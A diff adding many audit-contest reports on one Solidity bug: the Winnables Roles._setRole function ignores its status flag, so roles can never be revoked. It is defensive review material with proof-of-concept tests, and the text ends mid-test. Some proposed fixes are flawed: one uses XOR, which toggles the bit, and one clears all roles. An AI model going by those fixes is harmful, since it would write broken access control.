_addressRoles[user] = bytes32(roles | (1 << role)); + emit RoleUpdated(user, role, status); + } +``` +As can be seen, the above function doesn't use `status` parameter at all. +That is, even though `status = false`, it sets role for user instead of revoking role from user. + +## Impact +Admin can't revoke role from users. +If user addresses are compromised, admin has to revoke role from users. +However, current implementation can't revoke role from users, + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L29-L33 + +## Tool used + +Manual Review + +## Recommendation +Modify `Roles._setRole()` function as follows. +```solidity + function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); +-- _addressRoles[user] = bytes32(roles | (1 << role)); +++ if (status) _addressRoles[user] = bytes32(roles | (1 << role)) else _addressRoles[user] = bytes32(roles & ~(1 << role)); + emit RoleUpdated(user, role, status); + } +``` \ No newline at end of file diff --git a/002/104.md b/002/104.md new file mode 100644 index 0000000..0a26c85 --- /dev/null +++ b/002/104.md @@ -0,0 +1,44 @@ +Young Banana Gecko + +Medium + +# Roles that are already set cannot be removed + +## Summary +In `Roles.sol::_setRole` when a role is already set it cannot be removed. + +## Vulnerability Detail +`Roles.sol::_setRole` uses Bitwise OR to set the bit corresponding to a role. This is problematic because there is no way to remove the the already set role due to the way that Bitwise OR works https://www.geeksforgeeks.org/bitwise-or-operator-in-programming/#what-is-bitwise-or . +Example: +1. We don't have any role (0000) +2. We set the 2nd role (0100), counting from right to left +3. This role (0100) cannot be removed because of the way Bitwise OR works + - Bitwise OR always return 1 if one of the two inputs is 1 +4. Role stays 0100 no matter what you do + +## Impact +Once a role is set it cannot be removed + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/Roles.sol#L31 + +```jsx + +function _setRole(address user, uint8 role, bool status) internal virtual { + +uint256 roles = uint256(_addressRoles[user]); + +@> _addressRoles[user] = bytes32(roles | (1 << role)); + +emit RoleUpdated(user, role, status); + +} + +``` + +## Tool used + +Manual Review + +## Recommendation +Use XOR instead of OR when setting the role. This will allow the `_setRole` function to set and remove roles. diff --git a/002/112.md b/002/112.md new file mode 100644 index 0000000..3413005 --- /dev/null +++ b/002/112.md @@ -0,0 +1,61 @@ +Expert Cloud Goldfish + +Medium + +# Admin cant revoke Roles as expected, they can't even be revoked in general + +### Summary + +`Role` only allows granting roles, not revoking them. This is not intended behaviour as it is stated in the contest readme that `Role` can also deny roles. + +### Root Cause + +`status` parameter is ignored in `_setRole()` function. This makes it impossible to revoke a role. + + +### Internal pre-conditions + +Does not apply. + + +### External pre-conditions + +Does not apply. + + +### Attack Path + +1. Admin grants a role to an address accidentally. +2. That role cant be revoked as expected. + +### Impact + +A core part of the protocol, its `Role` contract that manages roles, is incorrect. The consequences would be bad only if admin accidentally gives a role to a malicious actor as he would not be able to take that role away from him. + +It is true that for a great impact you need an admin error. Yet all stems and shows that an expected important functionality of the code is incomplete and incorrect thus I send it as `Medium`. Not even the admin can revoke role. + +### PoC + +As you can [see here](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L31) the only bit value that can be set is 1. + +`1 OR 1 = 1` +`1 OR 0 = 1` + +Once a role is granted, it can't be denied. This is not expected as it can be read in the contest contract readme [here](https://github.com/sherlock-audit/2024-08-winnables-raffles?tab=readme-ov-file#q-for-permissioned-functions-please-list-all-checks-and-requirements-that-will-be-made-before-calling-the-function). + +### Mitigation + +Take into account the `status` parameter in `_setRole()`. Something like: + +```diff +function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + +- _addressRoles[user] = bytes32(roles | (1 << role)); ++ _addressRoles[user] = status ++ ? bytes32(roles | (1 << role)) // Set the role bit to 1 (assign role) ++ : bytes32(roles & ~(1 << role)); // Clear the role bit (revoke role) + + emit RoleUpdated(user, role, status); +} +``` \ No newline at end of file diff --git a/002/139.md b/002/139.md new file mode 100644 index 0000000..37785b6 --- /dev/null +++ b/002/139.md @@ -0,0 +1,69 @@ +Tame Shadow Jay + +Medium + +# Malicious admin will not be able to have their admin role removed, compromising protocol as a whole + +### Summary + +`Roles::_setRole` always sets the role bit to 1, regardless of the `status` parameter. This means that once an admin role (role 0) is granted, it cannot be revoked, creating a significant security risk if an admin account is compromised. + +### Root Cause + +[Roles.sol#L31](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L31) + +```javascript +// Roles.sol:31 +function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); +@> _addressRoles[user] = bytes32(roles | (1 << role)); + emit RoleUpdated(user, role, status); +} +``` + +This function always sets the role bit to 1 using the bitwise OR operation, regardless of the `status` parameter. As a result, once a role is granted, it cannot be revoked. + +### Internal pre-conditions + +1. Admin role (`_setRole(adminAddress, 0, true)`) needs to be set up for a desired address (e.g. `0x123...`), amongst other admins + +### External pre-conditions + +None + +### Attack Path + +1. Aforementioned admin goes rogue, being able to infinitely harm the protocol and prevent all funds from leaving the system (by manipulating CCIP/VRF params) and/or stealing funds from the protocol via `withdraw` +2. Other admins are unable to revoke rogue admin's role + +### Impact + +- Unauthorized actions can be performed indefinitely (e.g. `WinnablesTicketManager`'s `withdrawETH()` or any funds that are no longer locked after cancellation) +- NFTs can be stolen from the `WinnablesPrizeManager` via `withdrawNFT(address,uint256)` + + +### PoC + +_No response_ + +### Mitigation + +Modify the `Roles::_setRole` function to properly handle both granting and revoking roles based on the `status` parameter: + +```diff +function setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + ++ if (status) { ++ roles |= (1 << role); ++ } else { ++ roles &= ~(1 << role); ++ } ++ ++ _addressRoles[user] = bytes32(roles); +- _addressRoles[user] = bytes32(roles | (1 << role)); + emit RoleUpdated(user, role, status); +} +``` + +This modification ensures that roles can be both granted and revoked, aligning with the function's intended behavior and improving the contract's security and flexibility. \ No newline at end of file diff --git a/002/153.md b/002/153.md new file mode 100644 index 0000000..e88d50a --- /dev/null +++ b/002/153.md @@ -0,0 +1,56 @@ +Huge Pine Alligator + +Medium + +# The status paramenter is not used when assigning roles, so roles cannot be revoked after it has been given. + +### Summary + +When setting roles the admin calls the `setRole` function, passing three parameters, the user address, the role, and the status, the problem here is that status is not used in setting the role, it is only emitted, so roles cannot be revoked after they have been granted. + +### Root Cause + +In [`Roles.sol:551`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L29) the status parameter is not used anywhere within the function to assign the role, so when a role is granted it cannot be revoked. + +```sol + function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + _addressRoles[user] = bytes32(roles | (1 << role)); + emit RoleUpdated(user, role, status); + } +``` + +### Internal pre-conditions + +This issue doesn't need any precondition, it is always an issue along as the protocol is deployed. + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Roles cannot be revoked so if an account gets compromised it will always have a role within the system. + +### PoC + +_No response_ + +### Mitigation + +if the status is false revoke the address role. + +```diff + function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + _addressRoles[user] = bytes32(roles | (1 << role)); ++ if (!status) { ++ _addressRoles[user] = bytes32(0); ++ } + emit RoleUpdated(user, role, status); + } +``` \ No newline at end of file diff --git a/002/155.md b/002/155.md new file mode 100644 index 0000000..b10faaf --- /dev/null +++ b/002/155.md @@ -0,0 +1,75 @@ +Radiant Plum Yeti + +Medium + +# Role Assignment and Revocation Issues in `Roles.sol` + +## Summary +There is no provision to unset a role, and the status parameter in the setRole function is not effectively utilized. These issues could lead to potential misuse or misconfiguration of roles within the system. + +## Vulnerability Detail +No Provision to Unset a Role: The _setRole function allows setting roles for a user but lacks the functionality to unset or revoke a role. This could lead to a scenario where roles, once granted, cannot be revoked, potentially leading to privilege escalation or unauthorized access. +Misuse of the status Parameter: The setRole function includes a status parameter that is intended to control the role assignment. However, the current implementation of the _setRole function does not utilize the status parameter effectively, raising concerns about the role admin's ability to set the correct status. The role management logic lacks clarity on the purpose and implementation of the status parameter, which could lead to unintended role assignments. + +```solidity +function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + _addressRoles[user] = bytes32(roles | (1 << role)); + emit RoleUpdated(user, role, status); +} +``` + +## Impact +The identified vulnerabilities could lead to significant security risks: + +Privilege Escalation: The inability to revoke roles may allow users to retain privileges they should no longer have, leading to unauthorized actions within the system. +Misconfiguration: The unclear usage of the status parameter may result in incorrect role assignments, compromising the integrity and security of the system. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L29-L37 + +```solidity +// @audit-info there is no provision to unset a role! + +// _addressRoles[user] &= ~bytes32(1 << 1); + +function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + _addressRoles[user] = bytes32(roles | (1 << role)); + emit RoleUpdated(user, role, status); +} + +// @audit-info Are you we trusting the roles admin to set the correct status? +// what is the use of the status parameter? +function setRole( + address user, + uint8 role, + bool status +) + external + virtual + onlyRole(0) +{ + _setRole(user, role, status); +} + +``` + +## Tool used +Manual Review + +## Recommendation +To mitigate the identified vulnerabilities: + +Implement Role Unset Functionality: Introduce a mechanism to unset or revoke roles by adding a bitwise operation that allows clearing a specific role from a user. This will ensure that roles can be both granted and revoked as needed. + +Example Implementation: +```solidity +function _unsetRole(address user, uint8 role) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + _addressRoles[user] = bytes32(roles & ~(1 << role)); + emit RoleUpdated(user, role, false); +} +``` +Clarify and Implement the `status` Parameter: Ensure that the `status` parameter in the `setRole` function is used to determine whether a role should be set or unset. Update the `_setRole` function to respect the `status` parameter, granting the role when `status` is true and revoking it when false. \ No newline at end of file diff --git a/002/178.md b/002/178.md new file mode 100644 index 0000000..7f2d692 --- /dev/null +++ b/002/178.md @@ -0,0 +1,52 @@ +Breezy White Swallow + +Medium + +# Admin can not deny roles to other users + +### Summary + +Missing implementation for denying roles to other users in `Roles#_setRole` will cause the admin can not deny roles to other users. + +### Root Cause + +Missing implementation for denying roles to other users in `Roles#_setRole` + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/Roles.sol#L29-L33 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +From the contest's `README` + +>Role 0 is an admin role and it allows its members to grant or deny roles to other users. That role is granted to the deployer in the constructor. + +But `Roles#_setRole` is missing implementation for denying roles to other users. + +### Impact + +Admin can not deny roles to other users. + +### PoC + +_No response_ + +### Mitigation + +Implement denying roles in `Roles#_setRole` basing on the `status` input argument + +```diff + function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); +- _addressRoles[user] = bytes32(roles | (1 << role)); ++ _addressRoles[user] = status ? bytes32(roles | (1 << role)) : bytes32(roles & ~(1 << role)); + emit RoleUpdated(user, role, status); + } +``` \ No newline at end of file diff --git a/002/189.md b/002/189.md new file mode 100644 index 0000000..784be5f --- /dev/null +++ b/002/189.md @@ -0,0 +1,111 @@ +Itchy Mahogany Turtle + +High + +# Role Management Flaw Grants Permanent Access to Users + +### Summary + +The _setRole function in the Roles contract does not correctly handle the status parameter, which is intended to either assign (true) or revoke (false) a role. The current implementation always sets the role to active, regardless of the status. + +### Root Cause + +The _setRole function uses a bitwise OR operation to set the role, but does not use the status parameter to conditionally revoke the role. This causes roles to be assigned correctly, but never revoked. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/Roles.sol#L29C5-L33C6 + +```solidity + function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + _addressRoles[user] = bytes32(roles | (1 << role)); + emit RoleUpdated(user, role, status); + + +``` + + +### Internal pre-conditions + +An admin assigns a role to a specific address. +For any reason, it becomes necessary to revoke the previously assigned role from the address. + +### External pre-conditions + +none + +### Attack Path + +When an attempt is made to revoke the role by calling setRole with status set to false, the role remains active due to the improper handling of the status parameter. + +### Impact + +Privilege Retention: + +Users or attackers retain roles and associated permissions that should have been revoked, leading to over-privileged accounts. +Security Vulnerability: + +This can result in unauthorized actions, privilege escalation, or abuse of roles intended for limited use, compromising the security and integrity of the system. +Operational Risk: + +Administrators cannot reliably manage and update user roles, causing operational inefficiencies and the potential for malicious exploitation. + +### PoC + +```solidity + +// SPDX-License-Identifier: UNLICENSED +pragma solidity 0.8.24; + +import "forge-std/Test.sol"; +import "forge-std/console.sol"; +import "../contracts/Roles.sol"; + +contract RolesTest is Test { + Roles roles; + + function setUp() public { + roles = new Roles(); + } + + function testRoleSetAndRevoke() public { + address user = address(1); + + // Initially, the user has no roles + bytes32 initialRoles = roles.getRoles(user); + console.log("Initial Roles: ", uint256(initialRoles)); + + // Set role 1 for the user + roles.setRole(user, 1, true); + bytes32 rolesAfterSet = roles.getRoles(user); + console.log("Roles after setting role 1: ", uint256(rolesAfterSet)); + assertTrue((uint256(rolesAfterSet) & (1 << 1)) > 0, "User should have role 1"); + + // Revoke role 1 for the user + roles.setRole(user, 1, false); + bytes32 rolesAfterRevoke = roles.getRoles(user); + console.log("Roles after revoking role 1: ", uint256(rolesAfterRevoke)); + assertTrue((uint256(rolesAfterRevoke) & (1 << 1)) == 0, "User should not have role 1 after revoke"); + } +} + +``` + + +### Mitigation + +Update the `_setRole` function to properly handle both assigning and revoking roles based on the `status` parameter. + +```solidity +function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + if (status) { + // Set the role + _addressRoles[user] = bytes32(roles | (1 << role)); + } else { + // Revoke the role + _addressRoles[user] = bytes32(roles & ~(1 << role)); + } + emit RoleUpdated(user, role, status); +} + +``` \ No newline at end of file diff --git a/002/198.md b/002/198.md new file mode 100644 index 0000000..b484743 --- /dev/null +++ b/002/198.md @@ -0,0 +1,44 @@ +Funny Pickle Grasshopper + +High + +# `Roles::_setRole` doesn't consider the `status`, prevents admins to remove roles. + +## Summary +The `_setRole` function allows the admins to give a role or remove a role from a user by adjusting the `status` parameter to true or false. +But the function `_setRole` doesn't care about the `status` and always adds the role for the user, if it is already set then it remains the same. +This prevents the admins to be able to remove roles from the users in case of certain discrepancy or malicious situation. + +## Vulnerability Detail +- The vulnerability is present in the `Roles::_setRole` function where it doesn't consider the `status` parameters, and always set the role provided by admin to the user +- The function expects 3 parameters - the user, the role, and the status, where status is a boolean denoting whether to give that role to user or to revoke it. +- But due to the function not checking the `status`, will always results in adding the role to user and if the user already has the role, then it remains the same. +- But admins will never be able to remove roles from users. + +## Impact +- Admins not able to remove roles from the users. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L29-L33 + +## Tool used +Manual Review + +## Recommendation +Implement the `_setRole` function as below by considering the status parameter. +```solidity +function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + + if (status) { + require(!_hasRole(user, role), "User role already exists."); + _addressRoles[user] = bytes32(roles | (1 << role)); + } + else { + require(_hasRole(user, role), "User already not have that role."); + _addressRoles[user] = bytes32(roles ^ (1 << role)); + } + + emit RoleUpdated(user, role, status); +} +``` \ No newline at end of file diff --git a/002/204.md b/002/204.md new file mode 100644 index 0000000..280cdb3 --- /dev/null +++ b/002/204.md @@ -0,0 +1,65 @@ +Lone Peanut Swallow + +Medium + +# Admin can't remove roles from any account once the role has been granted + +## Summary + +The protocol admin isn't able to revoke any role granted. + +## Vulnerability Detail + +Because [`Roles._setRole`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L29-L33) uses the bit-wise inclusive OR, a bit in the `_addressRoles` bitmap can never be reset to 0. +This limits the admin's ability to respond to emergency situations in which removing a role from a compromised trusted party is necessary. +Most importantly, the inability to react to such a situation would require the protocol team to push its users to migrate to a new deployment of the protocol, given that the current version cannot be rescued. + +As a minor side note, the method completely ignores the `status` boolean parameter it is passed, using it only for an event emission at [Roles.sol#L32](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L32). +Combining these two facts one can see how an admin, when calling `Roles.setRole(_, _, false)` will be led to believe that the role was removed when in fact it wasn't. + +## Impact + +Medium. +Admin isn't able to revoke granted roles, breaking the access control system implemented. + +## Code Snippet + +```solidity +function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + _addressRoles[user] = bytes32(roles | (1 << role)); // <@ once set, this will never lower the bit + emit RoleUpdated(user, role, status); +} + +function setRole(address user, uint8 role, bool status) external virtual onlyRole(0) { + _setRole(user, role, status); +} +``` + +## Tool used + +Manual Review + +## Recommendation + +`Roles._setRole` should base its computation based on the value of the `status` parameter: +1. If `status == true`, the function can use the current implementation. +2. If `status == false`, the function should employ a bit mask to lower the `role` bit within `_addressRoles[user]`, e.g.: + +```diff +@@ -28,7 +29,14 @@ contract Roles { + + function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); +- _addressRoles[user] = bytes32(roles | (1 << role)); ++ ++ if (status) { ++ _addressRoles[user] = bytes32(roles | (1 << role)); ++ } else { ++ uint256 mask = uint256(~(1 << role)); ++ _addressRoles[user] = bytes32(roles & mask); ++ } ++ + emit RoleUpdated(user, role, status); + } +``` diff --git a/002/230.md b/002/230.md new file mode 100644 index 0000000..9f7a75f --- /dev/null +++ b/002/230.md @@ -0,0 +1,49 @@ +Abundant Leather Cow + +Medium + +# [MEDIUM]- User role can't be removed .The `_setRole` function cannot remove a role for a user due to incorrect implementation; it fails to remove the user's role. + +## Summary +In the `Roles.sol::_setRole` function, once a role is assigned to a user, it cannot be removed due to a flaw in the implementation. +The `bool status` parameter is not used in the current implementation. + +## Vulnerability Detail + +The `_setRole` function in the contract is intended to manage user roles by either assigning or removing a specific role based on the `bool status` parameter. However, the current implementation ignores the status parameter, failing to remove a role from a user when status is false. +Once a role is assigned to a user, it cannot be removed with the current implementation of the function. + +## Impact +The role assigned to a user cannot be removed by the admin or anyone else if they want to ensure that a user does not have a particular role in future in the protocol. +This vulnerability could be exploited to compromise the integrity of the raffle, potentially leading to unfair results or financial loss. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L29 +```solidity +function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + _addressRoles[user] = bytes32(roles | (1 << role)); + emit RoleUpdated(user, role, status); + } +``` +## Tool used + +Manual Review + +## Recommendation +The following implementation can be done to ensure the intended working of the `_setRole` function, It ensures that a role is assigned to a user if `status` is true and removed from a user if `status` is false. + +```diff +function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); +- _addressRoles[user] = bytes32(roles | (1 << role)); ++ if (status) { ++ // Assign role ++ _addressRoles[user] = bytes32(roles | (1 << role)); ++ } else { ++ // Remove role ++ _addressRoles[user] = bytes32(roles & ~(1 << role)); ++ } + emit RoleUpdated(user, role, status); +} +``` \ No newline at end of file diff --git a/002/269.md b/002/269.md new file mode 100644 index 0000000..4c79108 --- /dev/null +++ b/002/269.md @@ -0,0 +1,56 @@ +Strong Sangria Yak + +Medium + +# Missing Role Revocation Functionality in `Roles` Contract + +### Summary +The `Roles` contract lacks functionality to revoke roles from a user. The `setRole` function only adds roles to a user's existing set of roles without providing a mechanism to remove or revoke a role. This can lead to a situation where a user accumulates multiple roles, even if some of them are no longer appropriate or intended. + +### Vulnerability Detail +The `setRole` function in the `Roles` contract only adds new roles to the existing roles of a user by performing a bitwise OR operation. However, there is no mechanism to revoke or remove a role once it has been assigned. This can lead to potential security risks, especially in cases where roles need to be dynamically managed. + +For example: +- If a user is assigned role `1`, and later assigned role `0`, the user will end up holding both roles `1` and `0`. +- Similarly, if a user is first assigned role `0` and then role `1`, the user will again hold both roles. + +This situation occurs because the contract only adds roles and does not provide any functionality to revoke them, potentially leading to users having unintended or excessive permissions. + +### Impact +The inability to revoke roles from users can result in users retaining privileges that they should no longer have. This can lead to security vulnerabilities where users with revoked access rights still retain certain permissions, increasing the risk of unauthorized actions within the contract. + +### Code Snippet + +```solidity +function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + _addressRoles[user] = bytes32(roles | (1 << role)); // @audit bitwise OR operation only adds roles + emit RoleUpdated(user, role, status); +} + +function setRole(address user, uint8 role, bool status) external virtual onlyRole(0) { + _setRole(user, role, status); +} +``` +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L29 + +### Tool used +Manual Review + +### Recommendation +To address this issue, introduce a mechanism that allows roles to be revoked. This could involve modifying the `setRole` function to handle both adding and removing roles, depending on the `status` parameter. A potential implementation could involve using bitwise operations to clear the specific bit corresponding to the role when revocation is required. + +```solidity +function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + if (status) { + // Add the role + roles |= (1 << role); + } else { + // Revoke the role + roles &= ~(1 << role); + } + _addressRoles[user] = bytes32(roles); + emit RoleUpdated(user, role, status); +} +``` \ No newline at end of file diff --git a/002/285.md b/002/285.md new file mode 100644 index 0000000..c3f1c76 --- /dev/null +++ b/002/285.md @@ -0,0 +1,82 @@ +Cool Walnut Haddock + +Medium + +# M-04 Lack of Role Revocation Functionality in `_setRole` May Lead to Unintended Privileges + +### Summary + +In the `Roles` contract, the internal function `_setRole` is used to assign roles to users, but it does not correctly handle role revocation, even though the `status` parameter is present in the function. This issue arises because the function always adds roles using a bitwise OR operation, regardless of the value of `status`. As a result, roles can only be assigned, not removed. This could lead to scenarios where users retain privileges even after attempting to revoke them. + +### Root Cause + +In the `Roles` contract, the `_setRole` function on line 29 uses a bitwise OR operation on line 31 to assign roles without considering the `status` parameter. This design choice effectively ignores the `status` flag meant to control whether a role should be assigned or revoked. Specifically, the bitwise OR operation `roles | (1 << role)` adds the role bit to the user’s existing roles, but never removes it, making it impossible to revoke roles through this function. + +Vulnerable line: +```solidity + _addressRoles[user] = bytes32(roles | (1 << role)); +``` + +Vulnerable code: +* https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L31 + + +### Internal pre-conditions + +1. The role to be assigned or revoked must be passed as the `role` parameter. +2. The `status` parameter is provided but not utilized in a way that affects role removal. + +### External pre-conditions + +1. The `setRole` function is called by a user with `role(0)` (Admin role). +2. The admin tries to revoke a role by setting `status` to `false`. + +### Attack Path + +1. The admin calls `setRole` with a `role` and sets `status` to `false` intending to revoke the role. +2. The `_setRole` function ignores the `status` parameter and only adds the `role` using a bitwise OR operation. +3. The role remains assigned/unchanged, and the user retains privileges unintentionally. + +### Impact + +The lack of role revocation can have significant security implications. Administrators cannot effectively manage user roles, leading to users retaining unauthorized privileges. This can cause major operational risks, such as unauthorized access to critical functions, which could compromise the security and integrity of the system. + +### PoC + +1. **Initial Setup:** + * Admin Role (bit 0): `0001` + * User Role (bit 1): `0010` + * Assume we have a user who currently only has the Admin role, so their roles are represented by `0001`. + +2. **Assigning the User Role:** + * Current Role Bits: `0001` (Admin) + * Operation: Perform a bitwise OR with `0010` (User role) + * Bitwise OR Operation: `0001 | 0010 = 0011` + * Result: The user now has both Admin and User roles `(0011)` +```solidity +uint256 roles = 1; // 0001 (Admin role) +roles = roles | (1 << 1); // Bitwise OR with User role (0010) +// Result: roles = 0011 (Admin + User roles) +``` + +3. **Reapplying the OR Operation with the User Role:** + * Current Role Bits: `0011` (Admin + User). + * Operation: Perform the bitwise OR again with `0010` (User role). + * Bitwise OR Operation: `0011 | 0010 = 0011` + * Result: The roles remain unchanged as `0011`. The bitwise OR operation does not toggle bits; it only ensures they are set to 1. +```solidity +roles = roles | (1 << 1); // Reapplying Bitwise OR with User role (0010) +// Result: roles = 0011 (still Admin + User roles) +``` + +### Mitigation + +The `_setRole` function should be updated to handle both role assignment and revocation based on the `status` parameter. This can be done by using a conditional check: +```solidity +if (status) { + _addressRoles[user] = bytes32(roles | (1 << role)); // Assign role +} else { + _addressRoles[user] = bytes32(roles & ~(1 << role)); // Revoke role +} +``` +This modification ensures that roles are assigned or revoked correctly based on the `status` parameter, improving the security and flexibility of role management within the contract. \ No newline at end of file diff --git a/002/299.md b/002/299.md new file mode 100644 index 0000000..540370a --- /dev/null +++ b/002/299.md @@ -0,0 +1,182 @@ +Savory Chiffon Gazelle + +Medium + +# Misleading Parameter in `Role Management Function` Causes Inability to Remove Roles + +### Summary + +The `Roles.sol::_setRole` [function](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L29-L33) is intended to manage `user roles` by either `adding` or `removing` a role based on the `status` parameter. However, due to a flaw in the bitwise operation logic, the `status` parameter is now ineffective, `causing roles to only be added but never removed`. This results in users being unable to have roles revoked, which could lead to unauthorized access and security risks. + +### Root Cause + +In `Roles.sol::_setRole` [function](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L29-L33), the status parameter was initially meant to control whether a role is added or removed: +```javascript +function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + _addressRoles[user] = bytes32(roles | (1 << role)); + emit RoleUpdated(user, role, status); +} +``` +The current implementation only adds the role by setting the bit corresponding to the `role` to `1`, regardless of the `status` parameter's value. The intended functionality for removing the role when status is false was not implemented correctly. + +### Internal pre-conditions + +1. The function `_setRole(user, role, true)` is called to `add a role`. +2. The function `_setRole(user, role, false)` is called with the intention to `remove a role`. + +### External pre-conditions + +1. The contract depends on correctly `setting` and `removing` `roles` for security and proper access control. + +### Attack Path + +1. **Role Addition:** When `_setRole(user, role, true)` is called: + - The role is correctly added to the user's roles by setting the corresponding bit to `1`. +2. **Role Removal Attempt:** When `_setRole(user, role, false)` is called: + - The intended removal of the role does not occur because the function lacks logic to clear the bit corresponding to the role. + - As a result, the role remains active, and the user retains access to functions or resources associated with that role. + +### Impact + +- **Security Risk:** Users may retain roles that were intended to be removed, leading to unauthorized access to restricted functions or resources. +- **Operational Risk:** This bug could prevent proper role management, leading to a situation where revoked roles are still active, potentially compromising the contract’s security model. +- **Loss of Trust:** If users can retain roles indefinitely, even when their access should be revoked, this could lead to a loss of trust in the system's access control mechanism. + +### PoC + +Here’s a simplified example showing how the bug manifests: +```javascript +// SPDX-License-Identifier: UNLICENSED +pragma solidity 0.8.24; + +import {Test, console} from "forge-std/Test.sol"; + +contract TestRoles is Test { + event RoleUpdated(address indexed user, uint256 indexed role, bool indexed status); + address public user1 = address(0x1); + address public owner = address(0x2); + + mapping(address => bytes32) private _addressRoles; + + function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + _addressRoles[user] = bytes32(roles | (1 << role)); + emit RoleUpdated(user, role, status); + } + + function setUp() public {} + + function testCheckRolesSetAndRevoke() public { + uint8 role = 1; + assertEq(uint256(_addressRoles[user1]) & (1 << role) , 0, "Role should not be set"); + _setRole(user1, role, true); //set a role + assertNotEq(uint256(_addressRoles[user1])& (1 << role), 0, "Role should be set"); + _setRole(user1, role, false); //unset a role + assertEq(uint256(_addressRoles[user1]) & (1 << role), 0, "Role should not be set as it is removed"); //This should fail + } +} + +``` + +Run it by: `forge test --mt testCheckRolesSetAndRevoke -vvvvv` + +Output: +```javascript +[FAIL. Reason: Role should not be set as it is removed: 2 != 0] testCheckRolesSetAndRevoke() (gas: 34821) +Traces: + [144] TestRoles::setUp() + └─ ← [Stop] + + [34821] TestRoles::testCheckRolesSetAndRevoke() + ├─ [0] VM::assertEq(0, 0, "Role should not be set") [staticcall] + │ └─ ← [Return] + ├─ emit RoleUpdated(user: 0x0000000000000000000000000000000000000001, role: 1, status: true) + ├─ [0] VM::assertNotEq(2, 0, "Role should be set") [staticcall] + │ └─ ← [Return] + ├─ emit RoleUpdated(user: 0x0000000000000000000000000000000000000001, role: 1, status: false) + ├─ [0] VM::assertEq(2, 0, "Role should not be set as it is removed") [staticcall] + │ └─ ← [Revert] Role should not be set as it is removed: 2 != 0 + └─ ← [Revert] Role should not be set as it is removed: 2 != 0 + +Suite result: FAILED. 0 passed; 1 failed; 0 skipped; +``` + +### Mitigation + +To fix the issue, the function should properly handle the `status` parameter by adding or removing the role based on its value. The corrected function is: + +```diff +function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); ++ if (status) { + _addressRoles[user] = bytes32(roles | (1 << role)); // Add role ++ } else { ++ _addressRoles[user] = bytes32(roles & ~(1 << role)); // Remove role ++ } + emit RoleUpdated(user, role, status); +} + +``` + +Doing the test with the updated code: +```javascript +// SPDX-License-Identifier: UNLICENSED +pragma solidity 0.8.24; + +import {Test, console} from "forge-std/Test.sol"; + +contract TestRoles is Test { + event RoleUpdated(address indexed user, uint256 indexed role, bool indexed status); + address public user1 = address(0x1); + address public owner = address(0x2); + + mapping(address => bytes32) private _addressRoles; + + function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + if (status) { + _addressRoles[user] = bytes32(roles | (1 << role)); // Add role + } else { + _addressRoles[user] = bytes32(roles & ~(1 << role)); // Remove role + } + emit RoleUpdated(user, role, status); + } + + + function setUp() public {} + + function testCheckRolesSetAndRevoke() public { + uint8 role = 1; + assertEq(uint256(_addressRoles[user1]) & (1 << role) , 0, "Role should not be set"); + 